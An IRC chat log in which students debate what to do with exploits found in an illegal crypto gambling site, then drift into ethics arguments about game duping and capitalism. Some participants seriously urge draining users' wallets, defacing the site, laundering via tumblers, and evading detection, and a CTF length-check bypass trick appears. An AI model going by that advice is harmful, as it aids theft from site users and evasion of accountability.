[2015-03-28T21:57:36-0400] <JacobEdelman> I vote LBT anonysmously asks hackernews what they reccomend to do
[2015-03-28T21:57:51-0400] <+awe> JacobEdelman: the CFAA makes illegal just about anything involving accessing an internet-connected computer that you don't own.
[2015-03-28T21:57:55-0400] <JacobEdelman> at the very least we can get people who have some experince with this kind of thing commenting on it
[2015-03-28T21:58:00-0400] <+awe> ...
[2015-03-28T21:58:04-0400] <+awe> No.
[2015-03-28T21:58:08-0400] <JacobEdelman> why not?
[2015-03-28T21:58:12-0400] <JacobEdelman> we don't need to have any detials
[2015-03-28T21:58:21-0400] <+awe> Because who cares about what HackerNews thinks?
[2015-03-28T21:58:29-0400] <alokpathy> Do the people who read HN really have experience with this stuff?
[2015-03-28T21:58:36-0400] <JacobEdelman> alokpathy: yeah
[2015-03-28T21:58:36-0400] <LittleBobbyTables> I have experience on this...
[2015-03-28T21:58:40-0400] <+awe> ^
[2015-03-28T21:58:45-0400] <JacobEdelman> their have been posts on this kind of thing before
[2015-03-28T21:58:55-0400] <+awe> You're misunderstanding.
[2015-03-28T21:58:56-0400] <JacobEdelman> LittleBobbyTables: I'm looking for moral advice
[2015-03-28T21:59:01-0400] <JacobEdelman> not methods
[2015-03-28T21:59:02-0400] <+awe> We're not.
[2015-03-28T21:59:07-0400] <+awe> We're not looking for moral advice on this.
[2015-03-28T21:59:09-0400] <JacobEdelman> z3t is
[2015-03-28T21:59:14-0400] <JacobEdelman> z3t: what do you thing?
[2015-03-28T21:59:16-0400] <JacobEdelman> *think
[2015-03-28T21:59:28-0400] <+awe> Other people can't give you adviceon your morals.
[2015-03-28T22:00:11-0400] <JacobEdelman> yes, they can
[2015-03-28T22:00:15-0400] <JacobEdelman> thats what we are here to do
[2015-03-28T22:00:19-0400] <JacobEdelman> for z3t
[2015-03-28T22:00:20-0400] <JacobEdelman> right now
[2015-03-28T22:00:24-0400] <JacobEdelman> alokpathy: what do you thinK?
[2015-03-28T22:01:02-0400] <+awe> No, they can't.
[2015-03-28T22:01:10-0400] <alokpathy> Report it to some higher authority and let them deal with it, I guess
[2015-03-28T22:01:11-0400] <+awe> It's entirely up to you whether or not you consider it wrong to steal from a thief.
[2015-03-28T22:01:19-0400] <+awe> alokpathy: there is no higher authority.
[2015-03-28T22:01:22-0400] <JacobEdelman> alokpathy: what authority? its an illegal website
[2015-03-28T22:01:48-0400] <+awe> It's also entirely up to you whether or not you consider gambling theft.
[2015-03-28T22:01:49-0400] <alokpathy> I'm not sure.
[2015-03-28T22:01:56-0400] <+awe> Nobody can advise you on that.
[2015-03-28T22:02:07-0400] <JacobEdelman> z3t: I mean, if you want it to get to people who have dealt with this kind of stuff before AND are morally legit, I can do that 
[2015-03-28T22:02:14-0400] <JacobEdelman> but that would mean no money or anything for you
[2015-03-28T22:02:23-0400] <+awe> What does morally legitimate mean?
[2015-03-28T22:02:38-0400] <JacobEdelman> not morally grey
[2015-03-28T22:02:43-0400] <+awe> That's not a definition.
[2015-03-28T22:02:44-0400] <z3t> I'm going to go ahead and give them one of the vulns for $20.
[2015-03-28T22:02:54-0400] <JacobEdelman> z3t: thats a good short term solution I guess
[2015-03-28T22:02:57-0400] <alokpathy> That seems good.
[2015-03-28T22:02:58-0400] <+awe> That's a terrible solution.
[2015-03-28T22:03:06-0400] <+awe> The person won't even know how to fix it.
[2015-03-28T22:03:07-0400] <JacobEdelman> z3t: I'd recocomend just not doing anything about the rest of them
[2015-03-28T22:04:47-0400] <JacobEdelman> well, offering to fix it is a legit option I guess
[2015-03-28T22:05:13-0400] <+awe> Why would you fix it?
[2015-03-28T22:05:17-0400] <+awe> Fixing it is aiding in a crime.
[2015-03-28T22:05:44-0400] <+awe> Fixing it is aiding in a crime that's more likely to result in legal action than telling the exploit to LittleBobbyTables.
[2015-03-28T22:08:57-0400] <JacobEdelman> hmmmm
[2015-03-28T22:09:09-0400] <JacobEdelman> so, this is an interesting philosphical problem
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[2015-03-28T22:15:40-0400] <z3t> maybe Tamini_ has a suggestion
[2015-03-28T22:16:09-0400] <Tamini_> hm?
[2015-03-28T22:16:22-0400] <jwoglom> JacobEdelman: you're being discussed in #tjhsst
[2015-03-28T22:16:46-0400] <jwoglom> z3t: considering she just joined she has no scrollback, m8
[2015-03-28T22:20:41-0400] <alokpathy> Tamini_: Um, I'll try to summarize as best I can
[2015-03-28T22:20:53-0400] <JacobEdelman> https://www.irccloud.com/pastebin/nMrEhrqz
[2015-03-28T22:20:59-0400] <JacobEdelman> tamini: thats some recent logs
[2015-03-28T22:21:02-0400] <alokpathy> Or that
[2015-03-28T22:21:05-0400] <alokpathy> you can read that
[2015-03-28T22:21:14-0400] <JacobEdelman> open it now
[2015-03-28T22:21:18-0400] <JacobEdelman> cause I'm gonna delete it soon
[2015-03-28T22:21:30-0400] <+awe> Tamini_: z3t has an exploit in an illegal online cryptocurrency gambling site that could make him somewhere in the neighborhood of $20,000. The guy who runs the site offered to give him $20.
[2015-03-28T22:21:41-0400] <Tamini_> im in class bruh
[2015-03-28T22:21:52-0400] <Tamini_> i'll say
[2015-03-28T22:21:55-0400] <Tamini_> do the whitehat thing.
[2015-03-28T22:21:59-0400] <+awe> I'm of the opinion that he should give it to LittleBobbyTables.
[2015-03-28T22:22:23-0400] <bob_twinkles> == Tamini_
[2015-03-28T22:22:24-0400] <+awe> White hats get paid more than $20 for major exploits.
[2015-03-28T22:22:37-0400] <bob_twinkles> I'm gonna have to disagree with you on this one awe =P
[2015-03-28T22:23:13-0400] <+awe> I don't understand why you guys think he should just give some incompetent kid the exploit for $20.
[2015-03-28T22:23:14-0400] <LittleBobbyTables> IF you exploit it, you can be famous and get on krebsonsecurity
[2015-03-28T22:23:15-0400] <Tamini_> don't do money extortion
[2015-03-28T22:23:42-0400] <bob_twinkles> yeah, but you can also get persecuted for cyber crimes
[2015-03-28T22:23:43-0400] <+awe> The kid won't fix the exploit. The kid is already breaking the law, and making piles of money from people online.
[2015-03-28T22:23:46-0400] <bob_twinkles> it's kinda a tradeoff there
[2015-03-28T22:23:52-0400] <LittleBobbyTables> Only if you get caught.
[2015-03-28T22:23:57-0400] <+awe> That's not z3t's concern if LittleBobbyTables does it?
[2015-03-28T22:23:57-0400] <LittleBobbyTables> Which won't happen with decent people.
[2015-03-28T22:25:32-0400] <Tamini_> i don't think the issue is the amount of money he's being offered.
[2015-03-28T22:25:51-0400] <+awe> I think it's probably worth noting that a number of major cryptocurrency sites have been hacked with huge amounts stolen and no legal action has ever been taken.
[2015-03-28T22:26:20-0400] <jwoglom> and because they were never found out, it means that it's morally okay to do?
[2015-03-28T22:26:30-0400] <+awe> His site is stealing from people.
[2015-03-28T22:26:43-0400] <bob_twinkles> what sort of exploit do you h ave?
[2015-03-28T22:26:44-0400] <+awe> He's profiteering off of someone's addictive personality.
[2015-03-28T22:26:45-0400] <LittleBobbyTables> All major cryptocurrency sites have stolen from people anyway.
[2015-03-28T22:26:47-0400] <jwoglom> i feel like this honestly just comes down to a personal difference in ethics
[2015-03-28T22:26:50-0400] <+awe> It does.
[2015-03-28T22:27:44-0400] <JacobEdelman> JacobEdelman == Tamini_
[2015-03-28T22:27:48-0400] <bob_twinkles> like, if possible the way I would either 1) report the issue, regardless of whether or not I would get rewarded or 2) 'deface' the site to say "this shit is insecure, pull your money'
[2015-03-28T22:28:15-0400] <JacobEdelman> bob_twinkles: z3t has some huge complete exploit or something
[2015-03-28T22:28:17-0400] <LittleBobbyTables> bob_twinkles: only thing I think he doesn't have is persistent XSS, which can still be achieved.
[2015-03-28T22:28:49-0400] <bob_twinkles> does he have a shell?
[2015-03-28T22:29:03-0400] <JacobEdelman> he can drain the wallet of every user on the site apparnetely
[2015-03-28T22:29:27-0400] <bob_twinkles> that just means the money transfer mechanism is insecure =P
[2015-03-28T22:29:50-0400] <+awe> He also has a full admin account on the site.
[2015-03-28T22:30:12-0400] <+awe> I think the best course of action is drain the wallets, and replace the site with a calling card.
[2015-03-28T22:30:35-0400] <Tamini_> you did reach out anonymously, right?
[2015-03-28T22:32:08-0400] <+awe> z3t: ^
[2015-03-28T22:32:15-0400] <JacobEdelman> z3t: ^
[2015-03-28T22:32:29-0400] <+awe> This is an important question.
[2015-03-28T22:32:52-0400] <+awe> bob_twinkles: he has a few exploits.
[2015-03-28T22:33:59-0400] <Tamini_> if you weren't sufficiently anonymous
[2015-03-28T22:34:09-0400] <Tamini_> you HAVE to do the "right" thing
[2015-03-28T22:34:19-0400] <Tamini_> otherwise, you have some options
[2015-03-28T22:34:48-0400] <+awe> Tamini_: He can do both!
[2015-03-28T22:34:54-0400] <Tamini_> awe: hm?
[2015-03-28T22:35:02-0400] <+awe> If one person found an exploit, anyone could've.
[2015-03-28T22:35:10-0400] <Tamini_> I think he mainly has three big options, though.
[2015-03-28T22:35:30-0400] <Tamini_> "take this exploit, give me $20 thanks"
[2015-03-28T22:35:54-0400] <Tamini_> "I think the exploit I found is worth more than $20, give me viable compensation"
[2015-03-28T22:36:14-0400] <Tamini_> or just take all the money and make sure people can't track you down
[2015-03-28T22:36:42-0400] <LittleBobbyTables> 2:36 AM <Tamini_> or just take all the money and make sure people can't track you down
[2015-03-28T22:37:26-0400] <sdamashek> personally I just wouldn't accept any money, it might be dirty money anyways
[2015-03-28T22:37:32-0400] <+awe> sdamashek: It is dirty money.
[2015-03-28T22:37:37-0400] <+awe> sdamashek: It's money made from illegal online gambling.
[2015-03-28T22:37:45-0400] <sdamashek> ah, well then yeah
[2015-03-28T22:37:47-0400] <jwoglom> pretty much as dirty as it gets
[2015-03-28T22:38:05-0400] <sdamashek> I would give them the exploit and let them do what they wish
[2015-03-28T22:38:08-0400] <sdamashek> that's just me though
[2015-03-28T22:38:09-0400] <bob_twinkles> no that would be like mercenery/contract killer money
[2015-03-28T22:38:40-0400] <+awe> bob_twinkles: there's a deep web bounty site where Ben Bernanke has a multimillion dollar bounty.
[2015-03-28T22:39:29-0400] <bob_twinkles> verified payable?
[2015-03-28T22:39:31-0400] <Tamini_> i don't see anything wrong with accepting money its just
[2015-03-28T22:39:45-0400] <Tamini_> using power to the extort money i find sketchy.
[2015-03-28T22:39:47-0400] <z3t> Tamini_: Yes it was anonymous
[2015-03-28T22:40:47-0400] <+awe> I don't think he should extort.
[2015-03-28T22:40:48-0400] <JacobEdelman> guys, should I make a pull request to change how linux manages file transfers in order to fix my hackathon project?
[2015-03-28T22:40:49-0400] <+awe> I think he should kill the site.
[2015-03-28T22:41:04-0400] <sdamashek> JacobEdelman: yes
[2015-03-28T22:41:09-0400] <bob_twinkles> like, to the kernel?
[2015-03-28T22:41:13-0400] <sdamashek> I'm linus, I'll push it for you
[2015-03-28T22:41:14-0400] <+awe> bob_twinkles: As long as you can prove that you killed him, yeah.
[2015-03-28T22:42:03-0400] <bob_twinkles> awe: like, someone has several million dollars in escrow, over Ben Bernake's head
[2015-03-28T22:42:11-0400] <+awe> Yes.
[2015-03-28T22:42:18-0400] <bob_twinkles> o_O
[2015-03-28T22:42:23-0400] <+awe> It's in bitcoins.
[2015-03-28T22:42:40-0400] <bob_twinkles> I assume that bounty was created when that was way less money
[2015-03-28T22:42:49-0400] <+awe> It was still a lot, but yeah.
[2015-03-28T22:43:15-0400] <LittleBobbyTables> z3t: is it betcoin
[2015-03-28T22:43:33-0400] <jwoglom> why can't BTC values go up to nov 2013 levels :(
[2015-03-28T22:43:36-0400] <jwoglom> i cri
[2015-03-28T22:43:37-0400] <Tamini_> z3t: advice
[2015-03-28T22:43:44-0400] <LittleBobbyTables> Because evolution, agora, and silkroad are down.
[2015-03-28T22:43:48-0400] <+awe> bob_twinkles: crypto-anarchists hate Ben Bernanke. :p
[2015-03-28T22:44:03-0400] <bob_twinkles> apparently
[2015-03-28T22:44:23-0400] <Tamini_> dont do it
[2015-03-28T22:44:52-0400] <Tamini_> if you do it now, we'll all know about it.
[2015-03-28T22:45:26-0400] <LittleBobbyTables> Which of us will care though
[2015-03-28T22:45:27-0400] <+awe> Tamini_: the intent isn't for z3t to do it, but instead for LittleBobbyTables who nobody actually knows to do it.
[2015-03-28T22:45:37-0400] <jwoglom> i would say to go as far as not even accepting money from him if he offers
[2015-03-28T22:45:47-0400] <Tamini_> ah, makes sense.
[2015-03-28T22:45:52-0400] <jwoglom> if he uses bitcoin to send it to you, it will most likely be fairly obvious that it came from him
[2015-03-28T22:46:04-0400] <jwoglom> (assuming the "dirty money" is stored in bitcoins, it easily could not be)
[2015-03-28T22:46:25-0400] <+awe> jwoglom: bitcoin tumblersssss
[2015-03-28T23:00:05-0400] <alokpathy> Hm, 2014 Turing Award winner announced 
[2015-03-28T23:00:07-0400] <alokpathy> http://preview.acm.org/2014-turing-award
[2015-03-28T23:03:33-0400] <Tamini_> damn.
[2015-03-28T23:04:34-0400] <alokpathy> He does a lot of database work, apparently.
[2015-03-28T23:06:27-0400] <jwoglom> good for him
[2015-03-28T23:13:38-0400] <ubuntor> The co-pilot suspected of deliberately crashing an airliner, killing 150 people, had told his girlfriend he was planning a spectacular gesture so "everyone will know my name", a German daily said on Saturday.
[2015-03-28T23:13:42-0400] <ubuntor> :(
[2015-03-28T23:13:53-0400] <LittleBobbyTables> He was also sick, and left a note beforehand.
[2015-03-28T23:15:58-0400] <jwoglom> damn.
[2015-03-28T23:25:53-0400] <+awe> LittleBobbyTables: wgat?
[2015-03-28T23:25:54-0400] <+awe> what*
[2015-03-28T23:31:38-0400] <JacobEdelman> alokpathy: that is several days old
[2015-03-28T23:31:48-0400] <alokpathy> Like, three
[2015-03-28T23:32:02-0400] <alokpathy> But I kept forgetting to post it.
[2015-03-28T23:32:14-0400] <jwoglom> well, that does fit the definition of several :P
[2015-03-28T23:32:29-0400] <alokpathy> Just barely xD
[2015-03-28T23:32:48-0400] <jwoglom> several means "more than 2 but not many"
[2015-03-28T23:32:51-0400] <jwoglom> :P
[2015-03-28T23:32:57-0400] <+awe> Is it unfair if for our reversing homework assignment I used IDA while the other poor saps are using gdb?
[2015-03-28T23:33:12-0400] <alokpathy> Probably not.
[2015-03-28T23:33:29-0400] <alokpathy> Especially if it's the freeware version.
[2015-03-28T23:33:34-0400] <+awe> Freeware version of IDA?
[2015-03-28T23:33:35-0400] <+awe> What?
[2015-03-28T23:33:42-0400] <alokpathy> Isn't there one?
[2015-03-28T23:33:45-0400] <ubuntor> isn't the whole point learning about reversing?
[2015-03-28T23:33:47-0400] <ubuntor> yeah, ida free
[2015-03-28T23:34:05-0400] <ubuntor> limited and a old version, but free
[2015-03-28T23:34:22-0400] <alokpathy> Yeah, it's pretty limited.
[2015-03-28T23:34:26-0400] <alokpathy> https://www.hex-rays.com/products/ida/support/download_freeware.shtml
[2015-03-28T23:34:42-0400] <+awe> Oh.
[2015-03-28T23:34:48-0400] <+awe> Well, no, I'm using IDA Pro.
[2015-03-28T23:35:03-0400] <ubuntor> sounds unfair
[2015-03-28T23:35:16-0400] <+awe> I didn't use the decompiler though.
[2015-03-28T23:35:20-0400] <+awe> (It didn't work, more specifically.)
[2015-03-28T23:35:54-0400] <ubuntor> what kind of binaries?
[2015-03-28T23:36:19-0400] <+awe> x86 linux binaries
[2015-03-28T23:38:07-0400] <z3t> awe: "You sent 0.04015 BTC to 1BZmyVhDu3p6xqsnat81fYD7hm3ZqR2bf"
[2015-03-28T23:38:08-0400] <z3t> Enjoy
[2015-03-28T23:38:14-0400] <+awe> .-.
[2015-03-28T23:38:21-0400] <+awe> I still want to know what site it is though.
[2015-03-28T23:38:49-0400] <z3t> nah
[2015-03-28T23:40:15-0400] <alokpathy> Freeware supports x86, so I guess it should be fine (though I forget what exactly freeware doesn't have).
[2015-03-28T23:40:26-0400] <alokpathy> awe: Secretly, the gambling site is z3t's own.
[2015-03-28T23:40:51-0400] <+awe> I would also advice him in that case to steal all of his user's money, apologize to everyone and blame someone else for the hacking, and then move on.
[2015-03-28T23:40:55-0400] <+awe> advise*
[2015-03-28T23:41:07-0400] <alokpathy> Good plan.
[2015-03-28T23:41:13-0400] <+awe> Mostly because you're going to get a lot more attention running an illegal gambling site than you are pulling off one big theft.
[2015-03-28T23:43:58-0400] <JacobEdelman> alokpathy: I think awe is serious
[2015-03-28T23:44:02-0400] <+awe> I am serious.
[2015-03-28T23:44:35-0400] <alokpathy> Oh
[2015-03-28T23:44:38-0400] <alokpathy> I thought he was kidding
[2015-03-28T23:51:29-0400] <Pharyngeal> I fixed it
[2015-03-28T23:51:29-0400] <Pharyngeal> woo
[2015-03-28T23:51:36-0400] <Pharyngeal> Bye bye btrfs
[2015-03-28T23:54:33-0400] <+awe> Pharyngeal: nice job.
[2015-03-28T23:55:38-0400] <JacobEdelman> so, anyone want to suggest features for me to add?
[2015-03-28T23:56:20-0400] <JacobEdelman> my project as it stands is done
[2015-03-28T23:56:24-0400] <JacobEdelman> it sorts files fine
[2015-03-28T23:56:36-0400] <alokpathy> JacobEdelman: Instead of sorting cat pictures
[2015-03-28T23:56:38-0400] <alokpathy> it should
[2015-03-28T23:56:40-0400] <alokpathy> produce cat pictures
[2015-03-28T23:57:16-0400] <JacobEdelman> lol
[2015-03-28T23:57:20-0400] <JacobEdelman> so tired
[2015-03-28T23:57:24-0400] <JacobEdelman> jacob want to sleep
[2015-03-28T23:58:05-0400] <z3t> wait what is this for again JacobEdelman?
[2015-03-29T00:02:21-0400] <Pharyngeal> lol thanks
[2015-03-29T00:15:52-0400] <+awe> z3t: it's his hackBCA project
[2015-03-29T00:16:04-0400] <z3t> ah
[2015-03-29T00:21:20-0400] <alokpathy> Imma sleep
[2015-03-29T00:21:23-0400] <alokpathy> G'night people
[2015-03-29T00:24:01-0400] <JacobEdelman> AHHHHHHHHHHHHHHHHHHHH
[2015-03-29T00:24:53-0400] <JacobEdelman> turns out they are not allowing people to work here
[2015-03-29T00:24:58-0400] <JacobEdelman> *sleep
[2015-03-29T00:25:00-0400] <JacobEdelman> but I tired
[2015-03-29T00:28:35-0400] <z3t> LittleBobbyTables you know that BKP chall where you had to make the parameter an array to bypass the length restriction
[2015-03-29T00:28:43-0400] <LittleBobbyTables> yea
[2015-03-29T00:28:55-0400] <z3t> how would you add values to multiple indexes?
[2015-03-29T00:29:03-0400] <LittleBobbyTables> what do you mean
[2015-03-29T00:29:12-0400] <z3t> like if you did len of the array you get 1
[2015-03-29T00:29:14-0400] <z3t> how would you make it 3
[2015-03-29T00:29:43-0400] <z3t> ex: foo[]=
[2015-03-29T00:29:47-0400] <LittleBobbyTables> you don't
[2015-03-29T00:29:49-0400] <z3t> shit
[2015-03-29T00:30:07-0400] <z3t> thought there might be a way ;p
[2015-03-29T00:30:10-0400] <JacobEdelman> oh
[2015-03-29T00:30:15-0400] <JacobEdelman> turns out we can sleep 
[2015-03-29T00:30:16-0400] <LittleBobbyTables> i mean
[2015-03-29T00:30:18-0400] <LittleBobbyTables> you can try
[2015-03-29T00:30:20-0400] <JacobEdelman> at one
[2015-03-29T00:30:22-0400] <JacobEdelman> which is fine I guess
[2015-03-29T00:30:24-0400] <LittleBobbyTables> foo=[1,2,3]
[2015-03-29T00:30:29-0400] <LittleBobbyTables> or foo[]=1,2,3
[2015-03-29T00:30:32-0400] <LittleBobbyTables> but i doubt they'll work
[2015-03-29T00:42:17-0400] <+awe> JacobEdelman: sleep is for the weak.
[2015-03-29T00:42:54-0400] <+awe> Seriously, does anyone know where hardmath123 is? I miss that guy.
[2015-03-29T00:44:44-0400] <+awe> JacobEdelman, z3t, jwoglom: how would you feel about someone making $30,000 by hacking a video game and then selling in-game items and currency for USD?
[2015-03-29T00:45:13-0400] <JacobEdelman> It is still unethical
[2015-03-29T00:45:35-0400] <+awe> Why do you think so?
[2015-03-29T00:46:02-0400] <JacobEdelman> The goods have real value
[2015-03-29T00:46:13-0400] <z3t> If the owners of the site already make money by selling items/currency, then yes I would feel bad.
[2015-03-29T00:46:21-0400] <+awe> Site?
[2015-03-29T00:46:25-0400] <z3t> game
[2015-03-29T00:46:26-0400] <z3t> *
[2015-03-29T00:46:38-0400] <+awe> What if they don't?
[2015-03-29T00:47:15-0400] <z3t> Then I'd be okay with it, as you are not hurting anyone's profits.
[2015-03-29T00:48:01-0400] <+awe> I guess for a more exact example, Diablo III had a real money auction house for a while. How would you feel about someone using a duplication glitch to produce tons of rare items and selling them for say $200/pop?
[2015-03-29T00:48:31-0400] <z3t> If you are hurting a market, then I would be against it.
[2015-03-29T00:48:33-0400] <JacobEdelman> Bad
[2015-03-29T00:48:37-0400] <JacobEdelman> And that value is predicated on there rarity
[2015-03-29T00:48:37-0400] <JacobEdelman> By hacking to get them you are subverting their value
[2015-03-29T00:48:37-0400] <JacobEdelman> And effectively doing fraud
[2015-03-29T00:48:46-0400] <JacobEdelman> Lag
[2015-03-29T00:48:50-0400] <JacobEdelman> That was lagged
[2015-03-29T00:48:55-0400] <JacobEdelman> But still, accurate
[2015-03-29T00:49:07-0400] <JacobEdelman> Disclaimer: Jacob is tired
[2015-03-29T00:49:11-0400] <JacobEdelman> Use with caution
[2015-03-29T00:49:29-0400] <+awe> z3t: what market are you hurting? Blizzard skims a percentage off each transaction.
[2015-03-29T00:50:05-0400] <JacobEdelman> Awe: you are effectively committing arbitrage
[2015-03-29T00:50:11-0400] <JacobEdelman> Which is fine
[2015-03-29T00:50:13-0400] <JacobEdelman> Excerpt
[2015-03-29T00:50:18-0400] <JacobEdelman> *except
[2015-03-29T00:50:38-0400] <JacobEdelman> In this case you are creating the inefficiency 
[2015-03-29T00:50:45-0400] <JacobEdelman> And exploiting it
[2015-03-29T00:50:56-0400] <JacobEdelman> Which is bad
[2015-03-29T00:51:15-0400] <z3t> awe: The other sellers of the rare item?
[2015-03-29T00:51:27-0400] <ubuntor> z3t: thought you could repeat the foo[]= to get multiple values
[2015-03-29T00:51:35-0400] <+awe> z3t: say you bought every single other rare item, duped them a bunch, and sold them?
[2015-03-29T00:51:40-0400] <z3t> yeah figured that out ubuntor
[2015-03-29T00:51:46-0400] <ubuntor> oh ok
[2015-03-29T00:52:40-0400] <z3t> awe: If there are other sellers of the item, you are increasing the supply, hurting the market for that item.
[2015-03-29T00:52:46-0400] <z3t> Thus taking from their profits.
[2015-03-29T00:52:53-0400] <z3t> Their fair earned profits *
[2015-03-29T00:55:37-0400] <+awe> What if I designed an algorithm that targets high-frequency trading companies and is successfully able to divert 95% of their profits to me by accurately predicting their trading patterns?
[2015-03-29T00:55:57-0400] <+awe> JacobEdelman, z3t: ^
[2015-03-29T00:56:36-0400] <z3t> ...
[2015-03-29T00:56:51-0400] <JacobEdelman> Hmmmm... Still bad
[2015-03-29T00:57:22-0400] <JacobEdelman> It would be more ethical to stop the trading entirely
[2015-03-29T00:57:52-0400] <+awe> So, it's more ethical to DDOS a HFT shop?
[2015-03-29T00:58:02-0400] <JacobEdelman> No
[2015-03-29T00:58:06-0400] <+awe> That's what you just said.
[2015-03-29T00:58:09-0400] <+awe> It's more ethical to stop it.
[2015-03-29T00:58:20-0400] <JacobEdelman> It more ethical to campaign for change
[2015-03-29T00:58:32-0400] <JacobEdelman> Legally
[2015-03-29T00:59:24-0400] <+awe> How about factory ownership.
[2015-03-29T00:59:26-0400] <+awe> Is that ethical?
[2015-03-29T00:59:52-0400] <JacobEdelman> ....
[2015-03-29T01:00:01-0400] <z3t> What are you trying to get at awe?
[2015-03-29T01:00:13-0400] <+awe> I'd like to get an answer on that one.
[2015-03-29T01:00:17-0400] <+awe> Is it ethical to own a factory?
[2015-03-29T01:00:25-0400] <z3t> Yes.
[2015-03-29T01:00:28-0400] <+awe> Why?
[2015-03-29T01:00:43-0400] <z3t> You are producing goods fairly to gain profit, fairly.
[2015-03-29T01:00:47-0400] <+awe> No, you are not.
[2015-03-29T01:00:52-0400] <z3t> oh for fucks sake
[2015-03-29T01:01:25-0400] <+awe> You are owning machines, and paying people virtually nothing to produce goods while you sit in an office, and then you're selling those items at a profit, and keeping that for yourself.
[2015-03-29T01:01:56-0400] <+awe> At what point, exactly, did you work fairly to produce goods?
[2015-03-29T01:02:41-0400] <z3t> You are generalizing factory ownershi.
[2015-03-29T01:02:44-0400] <z3t> ownership *
[2015-03-29T01:02:48-0400] <+awe> No, that's literally what factory ownership is.
[2015-03-29T01:03:10-0400] <z3t> It can be like that, and is in many cases, but does not have to be.
[2015-03-29T01:03:19-0400] <+awe> What other ways can it be?
[2015-03-29T01:03:45-0400] <bob_twinkles> that "sitting in an office" turns in to a hell of a lot of work
[2015-03-29T01:03:50-0400] <z3t> You could pay your employees well and share profit with them, possibly working alongside them.
[2015-03-29T01:03:54-0400] <bob_twinkles> especially when people like you show up =P
[2015-03-29T01:04:03-0400] <bob_twinkles> and ^
[2015-03-29T01:04:29-0400] <+awe> Say I work at a software company with five employees.
[2015-03-29T01:04:30-0400] <z3t> awe it all comes down to personal opinion, there is no definite ethical and unethical. This discussion won't get anywhere.
[2015-03-29T01:06:00-0400] <+awe> I do administrative stuff and get paid $5,000,000/year. The four other employees do development work and each make $150,000/year. The company earns about $10,000,000/year. The rest of the money is spent on office space, some emergency savings, etc.
[2015-03-29T01:06:04-0400] <+awe> Are my employees fairly paid?
[2015-03-29T01:06:41-0400] <+awe> Hell, let's say I pay them $250,000/year each.
[2015-03-29T01:07:40-0400] <+awe> z3t: Are they fairly paid?
[2015-03-29T01:11:20-0400] <z3t> I say you are overpaid and they are underpaid
[2015-03-29T01:11:48-0400] <+awe> So, at what point are they fairly paid?
[2015-03-29T01:12:30-0400] <LittleBobbyTables> when they make more than you, of course.
[2015-03-29T01:12:59-0400] <z3t> They are underpaid in comparison to you. If you made within 50k of what they make, then I would agree they are fairly paid.
[2015-03-29T01:13:11-0400] <+awe> Why?
[2015-03-29T01:13:22-0400] <+awe> And you do realize that that is literally never the case, right?
[2015-03-29T01:13:45-0400] <bob_twinkles> I would say "when they no longer have to worry about money"
[2015-03-29T01:13:48-0400] <+awe> There is almost no workplace imaginable within capitalism where an executive makes $50,000 more than their employees.
[2015-03-29T01:13:52-0400] <bob_twinkles> so yes, your engineers would be fairly paid
[2015-03-29T01:14:12-0400] <z3t> What kind of "administrative work" do you do?
[2015-03-29T01:14:16-0400] <+awe> How are they fairly paid when they each make 2.5% of the value they create while I make 50% of the value they create?
[2015-03-29T01:14:36-0400] <bob_twinkles> because if they could do what you do, they could start their own company and make that much money
[2015-03-29T01:14:44-0400] <+awe> No, they couldn't.
[2015-03-29T01:14:44-0400] <bob_twinkles> clearly you're doing something right
[2015-03-29T01:14:49-0400] <bob_twinkles> or are super lucky
[2015-03-29T01:14:53-0400] <bob_twinkles> but hey, sometimes shit happens
[2015-03-29T01:14:54-0400] <+awe> My dad gave me the money to start this company.
[2015-03-29T01:15:02-0400] <bob_twinkles> so?
[2015-03-29T01:15:05-0400] <+awe> And because of that, I get to keep 50% of the money these people make.
[2015-03-29T01:15:25-0400] <+awe> My point in all of this was that your ethics system is inconsistent.
[2015-03-29T01:15:30-0400] <z3t> As I said a few minutes ago: awe it all comes down to personal opinion, there is no definite ethical and unethical. This discussion won't get anywhere.
[2015-03-29T01:15:34-0400] <+awe> Either it's acceptable to take profit from someone else's work, or it's not.
[2015-03-29T01:15:36-0400] <bob_twinkles> somehow you built it in to a business that pulls in a stupid large profit margin
[2015-03-29T01:15:49-0400] <bob_twinkles> that's how paying people works
[2015-03-29T01:16:25-0400] <+awe> Sure, so, either capitalism is ethical and it's okay to cheat to make money, or it's unethical and our model of business is wrong.
[2015-03-29T01:17:13-0400] <+awe> There's no real difference between buying every rare item in a game market, duping it, and then selling them for more money, and owning a company where you pay your employees less than they produce.
[2015-03-29T01:17:51-0400] <z3t> Uh
[2015-03-29T01:17:53-0400] <+awe> In both cases, you take what someone does, pay them for it, and then proceed to make significantly larger amounts of money (that they themselves could've made) by taking advantage of a certain position you have relative to them.
[2015-03-29T01:18:32-0400] <bob_twinkles> except in the case of the games market you violate the ToS specifically and more generally the social contract people have with the game
[2015-03-29T01:18:34-0400] <z3t> In the game you are doing something that others can't, unfairly, but in the business you are doing something that others can.
[2015-03-29T01:18:46-0400] <+awe> Others can cheat, too.
[2015-03-29T01:19:01-0400] <+awe> And no, others can't do what you're doing in the business.
[2015-03-29T01:19:44-0400] <+awe> The reality is that in both of those cases, you could've "worked hard" (found the exploit yourself, worked a lot and made money to start your business), or you could've had it handed to you.
[2015-03-29T01:19:55-0400] <bob_twinkles> they could cheat, if they had the technical skill or luck that you had when you found the exploit
[2015-03-29T01:20:35-0400] <bob_twinkles> you can cheat in buisness too
[2015-03-29T01:20:40-0400] <bob_twinkles> it's just a bit harder than it is in games
[2015-03-29T01:20:43-0400] <bob_twinkles> and it's still unethical
[2015-03-29T01:20:56-0400] <z3t> In the game case, it's (most likely) violating a ToS rule, as bob_twinkles said.
[2015-03-29T01:21:08-0400] <+awe> So, it's wrong because somebody set a rule saying it was?
[2015-03-29T01:21:14-0400] <bob_twinkles> sort of
[2015-03-29T01:21:19-0400] <+awe> That doesn't make sense.
[2015-03-29T01:21:21-0400] <z3t> You agreed to the rules.
[2015-03-29T01:21:37-0400] <+awe> I agreed to the rules because I had to to play the game, not because I wanted to.
[2015-03-29T01:21:42-0400] <bob_twinkles> it's wrong because there is a social contract between you, the people running the game, and the other players
[2015-03-29T01:21:43-0400] <+awe> These were not rules that were decided on my terms.
[2015-03-29T01:21:46-0400] <z3t> Violating something you agreed to is wrong.
[2015-03-29T01:22:04-0400] <bob_twinkles> by cheating, you violate not only the ToS you legally agreed too, but also that social contract
[2015-03-29T01:22:17-0400] <z3t> It is your fault for agreeing to something that you don't actually agree to, just for the sake of playing a game.
[2015-03-29T01:22:29-0400] <+awe> And in your code of ethics, this great agreement of rules is held above all else.
[2015-03-29T01:22:29-0400] <+awe> Ok.
[2015-03-29T01:22:30-0400] <LittleBobbyTables> To be fair
